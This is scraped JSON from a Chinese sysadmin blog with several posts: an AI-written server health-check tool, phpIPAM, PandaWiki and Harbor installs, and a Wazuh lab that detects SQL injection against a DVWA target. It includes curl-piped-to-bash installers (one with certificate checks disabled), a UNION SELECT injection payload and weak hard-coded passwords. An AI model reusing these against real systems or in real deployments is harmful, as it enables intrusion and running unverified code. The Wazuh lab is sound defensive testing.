\u0026#34;warning\u0026#34;: 3, \u0026#34;critical\u0026#34;: 0 }, \u0026#34;check_types\u0026#34;: [\u0026#34;health\u0026#34;] }, \u0026#34;details\u0026#34;: { \u0026#34;system\u0026#34;: { \u0026#34;uptime\u0026#34;: \u0026#34;15 days, 3:24\u0026#34;, \u0026#34;load_1min\u0026#34;: 0.15, \u0026#34;load_5min\u0026#34;: 0.30, \u0026#34;load_15min\u0026#34;: 0.35, \u0026#34;network_total_connections\u0026#34;: 45, \u0026#34;network_external_connections\u0026#34;: 8, \u0026#34;network_listening_ports\u0026#34;: 12 }, \u0026#34;memory\u0026#34;: { \u0026#34;total_mb\u0026#34;: 16384, \u0026#34;used_mb\u0026#34;: 12500, \u0026#34;available_mb\u0026#34;: 3884, \u0026#34;used_percent\u0026#34;: 76.3, \u0026#34;swap_total_mb\u0026#34;: 2048, \u0026#34;swap_used_mb\u0026#34;: 256, \u0026#34;swap_percent\u0026#34;: 12.5, \u0026#34;status\u0026#34;: \u0026#34;warning\u0026#34; }, \u0026#34;disk\u0026#34;: [ { \u0026#34;mount\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;device\u0026#34;: \u0026#34;/dev/sda1\u0026#34;, \u0026#34;total_gb\u0026#34;: \u0026#34;100G\u0026#34;, \u0026#34;used_gb\u0026#34;: \u0026#34;45G\u0026#34;, \u0026#34;available_gb\u0026#34;: \u0026#34;55G\u0026#34;, \u0026#34;used_percent\u0026#34;: 45.0, \u0026#34;status\u0026#34;: \u0026#34;ok\u0026#34; }, { \u0026#34;mount\u0026#34;: \u0026#34;/data\u0026#34;, \u0026#34;device\u0026#34;: \u0026#34;/dev/sdb1\u0026#34;, \u0026#34;total_gb\u0026#34;: \u0026#34;500G\u0026#34;, \u0026#34;used_gb\u0026#34;: \u0026#34;425G\u0026#34;, \u0026#34;available_gb\u0026#34;: \u0026#34;75G\u0026#34;, \u0026#34;used_percent\u0026#34;: 85.0, \u0026#34;status\u0026#34;: \u0026#34;warning\u0026#34; } ], \u0026#34;services\u0026#34;: { \u0026#34;systemd_running\u0026#34;: 23, \u0026#34;systemd_failed\u0026#34;: 0 }, \u0026#34;security\u0026#34;: { \u0026#34;mining_detected\u0026#34;: false, \u0026#34;tmp_executables\u0026#34;: 0, \u0026#34;failed_logins\u0026#34;: 3 } }, \u0026#34;metadata\u0026#34;: { \u0026#34;check_version\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;tool_version\u0026#34;: \u0026#34;ops-health-check v1.0\u0026#34;, \u0026#34;check_script\u0026#34;: \u0026#34;health-check.sh\u0026#34;, \u0026#34;thresholds\u0026#34;: { \u0026#34;disk_warning\u0026#34;: 50, \u0026#34;disk_critical\u0026#34;: 80, \u0026#34;memory_warning\u0026#34;: 70, \u0026#34;memory_critical\u0026#34;: 90 } } } 实际价值：\nMarkdown报告便于运维人员快速了解系统状态 JSON数据可被监控系统自动采集和分析 清晰的emoji状态指示，一眼就能看出问题所在 详细的阈值配置，便于追溯和调整 五、总结与展望 5.1 实现成果 本次开发成功构建了一个生产级运维健康检查系统：\n✅ 三大核心模块\n基础健康检查：涵盖系统资源、服务状态、基础安全 深度安全检查：5大类20+项安全检查 Docker监控：容器、镜像、存储全方位监控 ✅ 双格式输出\nMarkdown：人工可读，便于快速决策 JSON：机器可处理，易于自动化集成 ✅ 广泛兼容性\nbash 3.2+兼容（macOS默认版本） 支持主流Linux发行版（Ubuntu、CentOS、Debian） 适配systemd和SysV init系统 ✅ 完整文档\nSKILL.md：使用指南 设计文档：架构和实现思路 博客文章：实战经验分享 5.2 技术亮点 模块化设计：三个检查模块独立运行，互不依赖 统一输出库：封装数据收集和格式化逻辑 阈值可配置：支持通过环境变量自定义阈值 兼容性处理：优雅降级，兼容不同版本工具 清理建议：不仅发现问题，还提供解决建议 5.3 实际应用价值 效率提升：\n批量检查10台主机仅需2分钟 自动生成双格式报告，无需手工整理 JSON数据可直接导入监控系统 安全增强：\n发现并阻止挖矿程序 检测异常登录和未授权访问 及时发现文件系统异常变更 成本节约：\n无需部署复杂监控系统 基于现有SSH连接，无需额外代理 轻量级脚本，资源占用极低 5.4 开发体会 通过Claude Code的AI辅助开发，整个过程非常高效：\n快速迭代：从需求到实现不到4小时 智能提示：Claude主动发现兼容性问题并给出解决方案 代码质量：生成的代码结构清晰，符合最佳实践 文档完善：自动生成详细的使用文档和示例 AI辅助开发不仅提高了效率，更重要的是让开发者可以专注于业务逻辑和架构设计，而将具体的编码工作交给AI完成。这种人机协作模式，是未来软件开发的重要趋势。\n项目地址：https://github.com/xiejava/ops-health-check\n博客地址：http://xiejava.ishareread.com\n🤖 本文由Claude Code辅助编写\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2026-01-20-%E8%AE%A9claudecode%E8%87%AA%E5%B7%B1%E5%86%99%E4%BA%86%E4%B8%AA%E8%BF%90%E7%BB%B4%E5%81%A5%E5%BA%B7%E6%A3%80%E6%9F%A5%E7%9A%84skil%E6%8C%BA%E5%A5%BD%E7%94%A8%E7%9A%84/","summary":"\u003ch2 id=\"摘要\"\u003e摘要\u003c/h2\u003e\n\u003cp\u003e手头上有几台服务器，经常要对服务器进行健康检查、安全检查等。这几天让ClaudeCode自己写了个Skill这样就一句话活就让AI给干了。本文详细介绍了如何使用Claude Code AI辅助开发工具，从零开始构建一个生产级运维健康检查的Skill。重点阐述了整体架构设计、核心功能实现细节以及实际应用效果。该系统采用模块化设计，提供三大检查模块（基础健康检查、深度安全审计、Docker容器监控），支持双格式输出（Markdown人工可读 + JSON机器可处理），具有良好的可扩展性和兼容性。\u003c/p\u003e","title":"让Claude Code写了个运维健康检查的Skill还挺好用的"},{"content":"通常，网络或系统管理员会使用一个电子表格来记录IP地址的分配信息，然而，随着网络中的设备越来越多依赖于电子表格并不方便，十分容易出错，想管理好这些加入网络中的设备，就得有个更方便的工具。就我家里的网络而言，接入的设备就已经接近40个了，亟需找这么一个工具来记录和管理这些IP，目前找到的比较好用又轻量化的IP管理工具就是phpIPAM。\n一、什么是phpIPAM phpIPAM（PHP IP Address Manager）是一个开源的网络 IP 地址管理工具，其目标是提供轻松，现代和有用的IP地址管理。它是基于php的应用程序，带有MySQL数据库后端，使用jQuery库，ajax和HTML5 / CSS3功能。主要用于企业级 IP 地址空间的规划、管理和跟踪。\n为什么要用phpIPAM\n问题场景 无 phpIPAM 有 phpIPAM IP分配冲突 人工记录 Excel，容易重复 系统自动管理，避免冲突 查找可用 IP 手动测试多个 IP 一键查找空闲 IP 网络规划 凭经验划分，不精确 可视化规划，最优利用 故障排查 不知道 IP 使用者 快速定位设备负责人 phpIPAM核心功能如下： 官网： https://www.phpipam.net/ https://hub.docker.com/r/phpipam/phpipam-www/\n二、安装phpIPAM 安装phpIPAM可以用docker方式快速安装，根据官网的docker-compose.yml稍微做了优化，主要是加了mysql的健康检查，因为在安装的过程中数据库没有就绪或容器启动顺序有问题会导致安装失败。 docker-compose.yml文件内容如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 version: \u0026#39;3.8\u0026#39; services: phpipam-web: image: phpipam/phpipam-www:latest ports: - \u0026#34;8488:80\u0026#34; environment: - TZ=Asia/Shanghai - IPAM_DATABASE_HOST=phpipam-db - IPAM_DATABASE_PASS=12345678 depends_on: - phpipam-db restart: unless-stopped phpipam-cron: image: phpipam/phpipam-cron:latest environment: - TZ=Asia/Shanghai - IPAM_DATABASE_HOST=phpipam-db - IPAM_DATABASE_PASS=12345678 - SCAN_INTERVAL=1h depends_on: phpipam-db: condition: service_healthy restart: unless-stopped phpipam-db: image: mariadb:10.5 environment: - MYSQL_ROOT_PASSWORD=12345678 - MYSQL_DATABASE=phpipam - MYSQL_USER=phpipam - MYSQL_PASSWORD=12345678 volumes: - db_data:/var/lib/mysql restart: unless-stopped healthcheck: test: [\u0026#34;CMD\u0026#34;, \u0026#34;mysqladmin\u0026#34;, \u0026#34;ping\u0026#34;, \u0026#34;-h\u0026#34;, \u0026#34;localhost\u0026#34;] interval: 10s timeout: 5s retries: 5 volumes: db_data: 将docker-compose.yml文件考到安装目录如/home/app/phpipam 执行docker compose up -d 就可以顺利安装完成 安装完成后通过 docker compose ps 查看 phpipam的几个容器是否都正常启动了。 可以通过docker compose logs查看日志\n三、初始化phpIPAM 因为在docker-compose.yml文件中映射的宿主机的端口是8488 在浏览器中输入 http://服务器IP：8488/\n1.选择新的phpipam安装 2.安装pfpipam数据库 3.设置数据库 4.提示数据库安装成功 5.设置管理员密码 6.用前面设置的管理员密码进行登录 7.可以在用户的账户详情中选择语言为“Chinese(zh_CN.UTF-8)”切换成中文 四、使用phpIPAM 典型的IP管理流程如下： 1.添加子网\n2.添加子网信息，注意可以将Check hosts status、Discover new hosts、Resolve DNS name都打开。 3.在子网管理界面点击“Scan subnet for new hosts” 扫描子网的主机 4.点击“Scan subnet” phpIPAM就会通过Ping scan的方式探测子网内存活的主机 在子网的管理界面就可以看到子网内存活的IP和空闲的IP IP列表 子网的可视化界面，可以很直观的看到子网内在用的IP和空闲的IP 总的来说，phpIPAM安装简单使用方便，是个不错的IP管理工具。phpIPAM 本质上是一个 \u0026ldquo;网络的 CMDB\u0026rdquo;，让无形的 IP 地址变得可视、可控、可管理。对于任何有一定规模网络环境，它都是提升管理效率和规范性的重要工具。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-12-19-%E4%B8%BA%E4%BA%86%E7%AE%A1%E5%A5%BDip%E6%88%91%E4%B8%8A%E4%BA%86%E4%B8%80%E5%A5%97%E5%BC%80%E6%BA%90%E7%9A%84ip%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9Fphpipam/","summary":"\u003cp\u003e通常，网络或系统管理员会使用一个电子表格来记录IP地址的分配信息，然而，随着网络中的设备越来越多依赖于电子表格并不方便，十分容易出错，想管理好这些加入网络中的设备，就得有个更方便的工具。就我家里的网络而言，接入的设备就已经接近40个了，亟需找这么一个工具来记录和管理这些IP，目前找到的比较好用又轻量化的IP管理工具就是phpIPAM。\u003c/p\u003e","title":"为了管好IP我上了一套开源的IP管理系统phpIPAM"},{"content":"一直以来都想把我的文档都集中起来建一套知识库，方便统一的搜索查询和调用。我用过很多的文档编写管理工具有在线的、离线的，包括有有道云笔记、语雀、飞书、Notion、Obsidian等。这些工具编写管理文档还可以但是要做为一个知识库还远远不够。我认为知识库不但要解决“知识存哪里” 的问题，更要解决 “知识怎么用” 的痛点，能够将多源的知识内容进行聚合，方便检索查询和使用。\n我需要的知识库系统能够具备以下能力：\n多源内容聚合的能力：能够将我的博客网站、飞书、语雀、离线的文档等都能导入到知识库中。 方便快捷的搜索能力：AI辅助搜索，能够随时快速找到我想要的东西，AI辅助问答，能够基于已有的知识快速给出比较靠谱的答案。 便捷强大的编辑能力：能够通过富文本、Markdown随时记录文本，通过AI来辅助创作。 几番比较找到了PandaWiki，这款开源AI大模型驱动的知识库搭建系统，我觉得满足了目前我对知识库的要求，其安装方便、使用便捷、免费开源，零成本就能拥有自己的AI知识库，目前在github上斩获了8.4K的Star说明了受欢迎的程度。\n一、什么是PandaWiki PandaWiki 是一款 AI 大模型驱动的开源知识库搭建系统，帮助你快速构建智能化的 产品文档、技术文档、FAQ、博客系统，借助大模型的力量为你提供 AI 创作、AI 问答、AI 搜索等能力，具备富文本编辑、第三方集成和内容导入能力，采用AGPL-3.0开源协议。\n它的核心价值在于将 AI 能力与知识库深度融合，不仅解决了 “知识存哪里” 的问题，更攻克了 “知识怎么用” 的痛点。 PandaWiki 的功能设计围绕 “智能化” 与 “便捷性” 展开，核心可概括为三大 AI 功能与五大实用特性，覆盖知识库从搭建到使用的全场景需求：\n类别 具体功能 价值说明 AI 核心功能 AI 创作 辅助生成、优化文档内容，降低内容生产门槛，提升写作效率 AI 问答 支持用户以自然语言提问，AI 基于知识库内容精准作答，而非返回杂乱链接 AI 搜索 依托 AI 大模型实现语义化搜索，精准匹配用户需求，解决传统关键词搜索的局限性 实用特性 富文本编辑 支持 Markdown 与 HTML 语法，满足不同用户编辑习惯；文档可导出为 Word、PDF、Markdown 格式 多渠道内容导入 支持通过飞书文档、Notion、URL、Sitemap、RSS 及离线文件导入内容，省去重复复制粘贴操作 第三方平台集成 可接入钉钉、飞书、企业微信、Discord 等平台的聊天机器人，实现 “随处查知识” 高度自定义 支持配置 Wiki 网站配色、背景图、水印、页脚（企业名称、ICP 备案、品牌 Logo 等），打造专属风格 数据统计与反馈 管理后台可实时查看 Wiki 网站的访问次数、用户分布、问答记录及反馈信息，便于优化内容 PandaWiki 的最大优势之一是 “低门槛”—— 无需复杂代码开发，提供了一键部署安装脚本，全程耗时不超过 5 分钟，即使是非技术人员也能轻松上手。\n二、PandaWiki的安装部署 1、部署前的准备 PandaWiki的官方文档见 https://pandawiki.docs.baizhi.cloud/node/01971602-bb4e-7c90-99df-6d3c38cfd6d5\nPandaWiki安装需Linux系统、x86_64架构，依赖Docker 20.10.14+和Docker Compose 2.0.0+，推荐1核2G内存10G磁盘。 安装 PandaWiki 系统环境要求如下：\n操作系统：Linux CPU 指令架构：x86_64、aarch64 软件依赖：Docker 20.10.14 版本以上 软件依赖：Docker Compose 2.0.0 版本以上 推荐配置：2 核 CPU / 4 GB 内存 / 20 GB 磁盘 最低配置：1 核 CPU / 2 GB 内存 / 5 GB 磁盘 我的配置是ubuntu系统2核CPU/4GB内存/100GB磁盘。\n2、安装PandaWiki 官方提供了一键自动安装命令，可以非常便捷无脑的就把系统给装上。 使用 root 权限登录你的服务器，然后执行以下命令。\n1 bash -c \u0026#34;$(curl -fsSLk https://release.baizhi.cloud/panda-wiki/manager.sh)\u0026#34; 选择“安装”，回车 系统检测到没有安装docker，输入“y”,系统自动安装docker 默认安装路径位于 /data/pandawiki 到显示所有容器安装完成并启动就会显示如下信息\n1 2 3 4 5 SUCCESS 控制台信息: SUCCESS 访问地址(内网): https://*.*.*.*:2443 SUCCESS 访问地址(外网): https://*.*.*.*:2443 SUCCESS 用户名: admin SUCCESS 密码: ********************** 修改默认密码\n如果需要修改admin的密码可以修改安装目录下.env文件中的 ADMIN_PASSWORD 后，执行\nbash docker compose up -d 即可生效。\n使用浏览器打开上述内容中的 “访问地址”，就可以看到 PandaWiki 的控制台登录入口。\n三、PandaWiki的使用 1、配置 AI 大模型 由于 PandaWiki 的 AI 功能（创作、问答、搜索）均依赖 AI 大模型，首次使用需先完成模型配置，否则相关功能无法正常使用。其支持的模型类型及推荐方案如下：\nChat 模型：用于对话与内容生成，如 ChatGPT-4、Deepseek-r1、Deepseek-v3 等 Embedding 模型：将文档转化为向量，支撑智能搜索与内容关联，如 BGE-M3 Reranker 模型：对搜索结果二次排序，提升检索精准度，如 BGE-Reranker-V2-M3 我这里直接使用PandaWiki默认的模型“自动配置”。自动配置需要点击“获取百智云API Key”来获取API Key，注册登录百智云就可以获取5元的免费额度。当然通过手动配置用其他的模型API也可以。 2、启用创建门户网站 启用创建门户网站PandaWiki会自动帮创建一个门户网站，可以自定义门户网站的模板，“启用HTTP”输入暴露的端口80就可以开启门户网站，注意不要和2443端口重了，2443是后台admin的管理服务。 通过简单的配置就可以生成一个wiki网站，如果有域名就可以通过域名访问了，没有域名就通过IP访问。 我这里配了域名，可以通过wiki.xiejava.dpdns.org访问。 3、导入文档到PandaWiki创建知识库 PandaWiki 支持从第三方文档中导入文档，目前支持以下几种方式\n通过离线文件导入 通过 URL 导入 通过 RSS 导入 通过 Sitemap 导入 通过 Notion 导入 通过 Epub 导入 通过 MiniDoc 导入 通过 Wiki.js 导入 通过 Confluence 导入 通过飞书文档导入 通过语雀导入 通过思源笔记导入 官方都有详细的说明文档 我这里将我的博客文档通过离线方式进行导入。 在离线文件导入界面选择要导入的文件，支持的格式包括.txt、.md、.xlx、.xlsx、.docx、.pdf 。 注意：每个文件的大小不能超过 20 MB。 选择要导入的文件后，会对.md文件自动进行解析。 解析完了点击“批量导入”，就可以将文件导入到知识库，并且展示的是解析后的富文本形式。 批量导入处理中 新导入的文件虽然是可以被可见、被访问、被问答，但是还没有进行增强学习处理需要进一步的学习 PandaWiki的文档处理状态如下图： 选择需要学习的文档点“确认”进行学习 当学习和发布完成后，可以在web门户网站进行AI检索和AI问答了。 我们可以将pandawiki直接当一个博客网站来使用，它对markdown的解析和展示还挺好的。 欢迎访问我的wiki站点 https://wiki.xiejava.dpdns.org 在这里我将和你一起分享IT技术，感受AI带来的便捷。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-12-09-5%E5%88%86%E9%92%9F%E6%88%91%E6%90%AD%E4%BA%86%E4%B8%80%E5%A5%97ai%E7%9F%A5%E8%AF%86%E5%BA%93/","summary":"\u003cp\u003e一直以来都想把我的文档都集中起来建一套知识库，方便统一的搜索查询和调用。我用过很多的文档编写管理工具有在线的、离线的，包括有有道云笔记、语雀、飞书、Notion、Obsidian等。这些工具编写管理文档还可以但是要做为一个知识库还远远不够。我认为知识库不但要解决“知识存哪里” 的问题，更要解决 “知识怎么用” 的痛点，能够将多源的知识内容进行聚合，方便检索查询和使用。\u003c/p\u003e","title":"5分钟，我搭了一套AI知识库"},{"content":"一、什么是Harbor 简单来说，Harbor 是一个开源的企业级私有 Docker 镜像仓库服务。我们可以把它理解成一个 “私有的、安全的、功能强大的 Docker Hub”。\n私有： 它部署在你自己的基础设施（如公司的数据中心或私有云）上，你完全掌控其中的所有镜像，不对外公开。 企业级： 这意味着它不仅仅是一个简单的存储服务器。它提供了企业所需的高级功能，如权限控制、安全扫描、镜像复制、图形化操作界面等。 镜像仓库： 它是专门用来存储、管理和分发 Docker 镜像的地方。你可以向 Harbor 中推送（上传）镜像，也可以从 Harbor 中拉取（下载）镜像。 目前国内的上网环境公共的Docker Hub不能直接访问了，对于公司和个人开发者来说有必要搭建私有的Docker镜像仓库，使用 Harbor 几乎是必须的。公司自己开发的应用程序镜像可能包含敏感代码和配置，绝不能放到公共仓库。Harbor 提供了一个安全的私有环境来存放这些资产。Harbor 可以配置为 Docker Hub、Google Container Registry（GCR）等公有仓库的代理缓存。当公司内第一个开发者拉取某个公有镜像（如 nginx:latest）时，Harbor 会从公网下载并缓存到本地。后续所有开发者再拉取这个镜像时，都会直接从内网的 Harbor 服务器高速获取，极大地节省了公网带宽，加快了拉取速度。\nHarbor 将一个简单的镜像存储服务，升级为一个安全、高效、可靠的企业级镜像生命周期管理平台，是现代云原生应用开发和运维不可或缺的基础设施组件。\n本文介绍如何通过Harbor搭建和使用自己的私有镜像仓库。\n二、安装Harbor 准备一台linux的服务器，我这里是ubuntu 24.04 IP地址是192.168.0.49 Harbor的docker安装要求 On a Linux host: docker 20.10.10-ce+ and docker-compose 1.18.0+ .\n1、安装docker 执行以下命令一键安装docker\n1 2 sudo curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun service docker start 配置国内镜像加速\n1 vim /etc/docker/daemon.json 1 2 3 4 5 { \u0026#34;registry-mirrors\u0026#34;: [ \u0026#34;https://docker.1ms.run\u0026#34; ] } 1 service docker restart 2、安装Harbor 下载harbor安装包，下载地址如下： https://github.com/goharbor/harbor/releases/download/v2.14.1/harbor-offline-installer-v2.14.1.tgz 将下载的harbor安装包上传到安装harbor的目标服务器的目录下 如/home/app/harbor 解压上传的harbor安装包\n1 tar -zxvf harbor-offline-installer-v2.14.1.tgz 备份配置文件\n1 cp harbor.yml.tmpl harbor.yml 修改配置文件\n1 vim harbor.yml 执行安装脚本\n1 ./install.sh 安装完成后通过浏览器即可以访问harbor的管理界面 默认的用户名和密码是admin/Harbor12345\n三、使用Harbor 1、通过Harbor代理拉取镜像 先在仓库管理中建一个目标，目标是从docker的加速镜像站点去拉取镜像，我这里配置目标URL是https://docker.1ms.run，点击测试链接，提示“测试连接成功”表示目标URL站点没有问题，就可以点击确定。 这样我们就有了一个目标的加速仓库 在“项目”中点击“新建项目”，在镜像代理中开启“镜像代理”，选择我们开始在仓库管理中新建的目标仓库。 在配置管理生成软件物料清单中勾选“在推送镜像时自动生成软件物料清单”，这样我们在拉取镜像时harbor会自动帮我们缓存镜像到本地的harbor仓库，下次拉取时速度就非常快了。 在另外一台需要拉取镜像的机器上配置docker的镜像仓库，将地址配置为Harbor的地址\n1 vim /etc/docker/daemon.json 1 2 3 4 5 6 { \u0026#34;registry-mirrors\u0026#34;: [ \u0026#34;http://192.168.0.49\u0026#34; ], \u0026#34;insecure-registries\u0026#34;: [\u0026#34;192.168.0.49\u0026#34;] } 重启docker服务\n1 service docker restart 拉取目标镜像，这里要带上harbor中的项目名称，docker1ms/nginx:1.22\n1 docker pull docker1ms/nginx:1.22 在harbor的管理界面可以看到，通过拉取镜像，harbor通过代理镜像源对镜像进行了拉取并缓存到harbor仓库，下次拉取速度更快了。 2、上传镜像到Harbor仓库 另一个在工作中最常用的场景就是将自己的镜像上传到镜像仓库，以便其他人拉取使用。 下面就以在本地已经存在的docker1ms/busybox:latest为例，上传到自己的harbor仓库。 我的harbor仓库的地址是192.168.0.49,上传到默认的library项目中 为镜像打上带仓库地址和项目名的tag\n1 docker tag docker1ms/busybox:latest 192.168.0.49/library/busybox:latest 客户端登录到harbor\n1 docker login 192.168.0.49 输入harbor的用户名和口令进行登录 登录成功后，通过push命令上传镜像到本地harbor仓库\n1 docker push 192.168.0.49/library/busybox:latest 到harbor管理界面查看push到仓库中的镜像 可以看到busybox镜像已经成功push到harbor的library项目中了。 在Artifacts中可以看到push上来的镜像物料详情，可看到这个busybox镜像的大小是2.1MB 我们可以直接拉取harbor中我们刚push上去的镜像 可以看到如果是默认仓库library项目直接可以docker pull 镜像名就可以拉取\n1 docker pull busybox:latest 至此，我们通过安装自己私有的镜像仓库Harbor，实现了docker镜像代理下载和上传自己的镜像到Harbor仓库，覆盖了我们平时工作中的大部分场景。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-12-04-%E4%BC%81%E4%B8%9A%E7%BA%A7%E7%A7%81%E6%9C%89docker%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93harbor%E7%9A%84%E6%90%AD%E5%BB%BA%E5%92%8C%E4%BD%BF%E7%94%A8/","summary":"\u003ch1 id=\"一什么是harbor\"\u003e一、什么是Harbor\u003c/h1\u003e\n\u003cp\u003e简单来说，Harbor 是一个开源的企业级私有 Docker 镜像仓库服务。我们可以把它理解成一个 “私有的、安全的、功能强大的 Docker Hub”。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e私有： 它部署在你自己的基础设施（如公司的数据中心或私有云）上，你完全掌控其中的所有镜像，不对外公开。\u003c/li\u003e\n\u003cli\u003e企业级： 这意味着它不仅仅是一个简单的存储服务器。它提供了企业所需的高级功能，如权限控制、安全扫描、镜像复制、图形化操作界面等。\u003c/li\u003e\n\u003cli\u003e镜像仓库： 它是专门用来存储、管理和分发 Docker 镜像的地方。你可以向 Harbor 中推送（上传）镜像，也可以从 Harbor 中拉取（下载）镜像。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e目前国内的上网环境公共的Docker Hub不能直接访问了，对于公司和个人开发者来说有必要搭建私有的Docker镜像仓库，使用 Harbor 几乎是必须的。公司自己开发的应用程序镜像可能包含敏感代码和配置，绝不能放到公共仓库。Harbor 提供了一个安全的私有环境来存放这些资产。Harbor 可以配置为 Docker Hub、Google Container Registry（GCR）等公有仓库的代理缓存。当公司内第一个开发者拉取某个公有镜像（如 nginx:latest）时，Harbor 会从公网下载并缓存到本地。后续所有开发者再拉取这个镜像时，都会直接从内网的 Harbor 服务器高速获取，极大地节省了公网带宽，加快了拉取速度。\u003c/p\u003e","title":"企业级私有docker镜像仓库Harbor的搭建和使用"},{"content":"Wazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\nSQL 注入是一种攻击，在这种攻击中，威胁行为者将恶意代码插入传输到数据库服务器的字符串中进行解析和执行。成功的 SQL 注入攻击可以未经授权访问数据库中包含的机密信息。\n我们可以使用 Wazuh 从 Web 服务器日志中检测 SQL 注入攻击，这些日志包含 select、union 和其他常见 SQL 注入模式等模式。本文通过POC来验证wazuh检测SQL注入攻击。\n一、环境准备 POC测试环境拓扑如下图所示：\n主机 说明 安全管理平台wazuh-server\n(192.168.0.40) All in one安装wazuh，监控wazuh-agent上报的告警信息进行威胁检测 DVWA靶机\n（192.168.0.43） 被监控主机安装wazuh-agent，安装DVWA靶机，模拟被攻击 DVWA靶机安装参考《CentOS7+LAMP+DVWA靶机搭建》 首先安装LAMP环境\n1 2 apt update apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php 下载DVWA的软件包 进入到默认的web发布目录\n1 2 cd /var/www/html git clone https://github.com/digininja/DVWA.git 将config/config.inc.php.dist复制成config/config.inc.php并配置环境\n1 cp config.inc.php.dist config.inc.php 用root用户登录数据库，然后执行以下命令创建dvwa数据库:\n1 2 3 4 5 6 7 8 9 10 11 mysql\u0026gt; create database dvwa; Query OK, 1 row affected (0.00 sec) mysql\u0026gt; create user dvwa@localhost identified by \u0026#39;p@ssw0rd\u0026#39;; Query OK, 0 rows affected (0.01 sec) mysql\u0026gt; grant all on dvwa.* to dvwa@localhost; Query OK, 0 rows affected (0.01 sec) mysql\u0026gt; flush privileges; Query OK, 0 rows affected (0.00 sec) 默认用户 = admin 默认密码 = password 将安全级别设为 Low（最易注入）\n二、wazuh配置 将以下行添加到 Wazuh 代理 /var/ossec/etc/ossec.conf 文件中。允许 Wazuh-agent 代理监控 Apache 服务器的访问日志：\n1 2 3 4 5 6 \u0026lt;ossec_config\u0026gt; \u0026lt;localfile\u0026gt; \u0026lt;log_format\u0026gt;apache\u0026lt;/log_format\u0026gt; \u0026lt;location\u0026gt;/var/log/apache2/access.log\u0026lt;/location\u0026gt; \u0026lt;/localfile\u0026gt; \u0026lt;/ossec_config\u0026gt; 重新启动 Wazuh 代理以使应用配置更改生效：\n1 sudo systemctl restart wazuh-agent 三、模拟攻击 访问DVWA的靶机地址http://192.168.0.43/DVWA/login.php 默认用户 = admin 默认密码 = password 登录后找到SQL Injection 输入例如\u0026quot;1' UNION SELECT database(), version()\u0026quot; 等SQL注入Payload\n四、效果验证 在wazuh此处的预期结果是规则 ID 为 31164 SQL injection attempt 的告警，但成功的 SQL 注入尝试会生成规则 ID 为 31106 A web attack returned code 200 (success)的告警。\n我们可以点击详情看到具体的SQL注入攻击日志\n至此，我们通过POC验证了wazuh检测SQL注入攻击场景。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2025-10-22-%E5%BC%80%E6%BA%90%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0wazuh-%E6%A3%80%E6%B5%8Bsql%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/","summary":"\u003cp\u003eWazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\u003c/p\u003e","title":"开源安全管理平台wazuh-检测SQL注入攻击"},{"content":"Wazuh是一个功能强大的开源安全平台，它集成了安全信息与事件管理（SIEM）和扩展检测与响应（XDR）的能力，旨在为本地、虚拟化、容器化及云环境中的工作负载提供统一的威胁预防、检测和响应解决方案。\nWazuh命令监控功能在端点上运行命令并监控命令的输出。通过监控命令来检测是否有非法可疑进程。\n本文通过POC展示Wazuh如何通过配置来实现对非法可疑进行的检测及时预警威胁攻击行为。\n一、环境准备 POC测试环境拓扑如下图所示： 主机 描述 安全管理平台wazuh-server\n(192.168.0.40) All in one安装wazuh，监控wazuh-agent上报的告警信息进行威胁检测 被监控Kali主机\n（192.168.0.65） 被监控kali主机安装wazuh-agent，运行非法可疑进程。 二、wazuh配置 1、kali检测端点配置 1）按照以下步骤配置命令监控并查询被监控kali主机端点上的所有运行进程。 将以下配置块添加到wazuh-agent的/var/ossec/etc/ossec.conf文件，允许wazuh-agent定期获取运行进程列表：\n1 2 3 4 5 6 7 8 \u0026lt;ossec_config\u0026gt; \u0026lt;localfile\u0026gt; \u0026lt;log_format\u0026gt;full_command\u0026lt;/log_format\u0026gt; \u0026lt;alias\u0026gt;process list\u0026lt;/alias\u0026gt; \u0026lt;command\u0026gt;ps -e -o pid,uname,command\u0026lt;/command\u0026gt; \u0026lt;frequency\u0026gt;30\u0026lt;/frequency\u0026gt; \u0026lt;/localfile\u0026gt; \u0026lt;/ossec_config\u0026gt; 这段配置告诉 Wazuh 代理：\n做什么：​ 每 30 秒执行一次命令 ps -e -o pid,uname,command。 捕获什么：​ 捕获该命令的完整输出。 如何标记：​ 在输出的每一行前面添加一个标准化的头部 ossec: output: 'process list: '。 发送给谁：​ 将处理后的日志行（即带有前缀的进程列表）发送给配置的 Wazuh 服务器。 这个配置让 Wazuh 代理定期（每 30 秒）抓取一次完整的系统进程快照，并格式化后发送给服务器，为基于进程行为的入侵检测提供基础数据。\n2）重新启动Wazuh代理以使配置生效：\n1 sudo systemctl restart wazuh-agent 3）在kali上安装Netcat等工具：\n1 sudo apt install ncat nmap -y 2、wazuh server配置 1）将以下规则添加到Wazuh服务器上的 /var/ossec/etc/rules/local_rules.xml 文件中：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 